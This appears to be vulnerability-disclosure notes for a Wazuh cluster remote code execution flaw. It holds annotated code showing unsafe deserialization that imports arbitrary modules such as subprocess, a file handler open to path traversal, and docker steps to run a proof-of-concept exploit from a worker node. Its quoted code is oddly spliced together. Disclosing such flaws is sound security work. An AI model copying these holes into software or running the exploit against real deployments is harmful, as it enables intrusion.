def as_wazuh_object(dct: Dict):

    try:

        if '__callable__' in dct:

            encoded_callable = dct['__callable__']

            funcname = encoded_callable['__name__'] #getoutput

            if '__wazuh__' in encoded_callable:

                # Encoded Wazuh instance method.

                wazuh = Wazuh()

                return getattr(wazuh, funcname)

            else:

                # Encoded function or static method.

                qualname = encoded_callable['__qualname__'].split('.') # getoutput

                classname = qualname[0] if len(qualname) > 1 else None

                module_path = encoded_callable['__module__']  #  subprocess

                module = import_module(module_path)            #  ARBITRARY IMPORT

                if classname is None:

                    return getattr(module, funcname)           #  RETURNS ARBITRARY FUNCTION

                else:

                    return getattr(getattr(module, classname), funcname) 

        """Create a file descriptor to store the incoming file.




        Parameters

        ----------

        data : bytes

            Relative path to the file.




        Returns

        -------

        bytes

            Result.

        bytes

            Response message.

        """

        # VULNERABLE LINE: No validation of 'data', no checking for '../', direct file open.

        self.in_file[data] = {'fd': open(common.WAZUH_PATH + data.decode(), 'wb'), 'checksum': hashlib.sha256()}

        return b"ok ", b"Ready to receive new file"

        

# 1. init docker compose

docker compose up -d

# 2. wait init all clusters

# 3. Verify cluster is connected

docker exec poc-master /var/ossec/bin/cluster_control -l

# Expected output should show worker01 connected:

# worker01 172.28.0.11 active

# 4. Execute exploit from worker

docker exec poc-worker /var/ossec/framework/python/bin/python3 /scripts/poc.py

# 5. Verify RCE on master

docker exec poc-master cat /var/ossec/etc/ossec.conf